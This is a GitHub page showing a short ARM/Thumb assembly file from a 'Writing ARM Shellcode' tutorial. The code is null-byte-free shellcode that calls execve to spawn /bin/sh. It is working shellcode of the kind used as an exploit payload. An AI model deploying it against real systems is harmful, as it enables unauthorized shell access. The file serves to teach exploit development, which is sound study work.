Skip to content
Switch branches/tags
Go to file
Cannot retrieve contributors at this time
18 lines (15 sloc) 415 Bytes
/* execve() assembly code from the tutorial 'Writing ARM Shellcode' (, thrid example without null-bytes */
.section .text
.global _start
.code 32
add r3, pc, #1
bx r3
.code 16
add r0, pc, #8
eor r1, r1, r1
eor r2, r2, r2
strb r2, [r0, #7]
mov r7, #11
svc #1
.ascii "/bin/shx"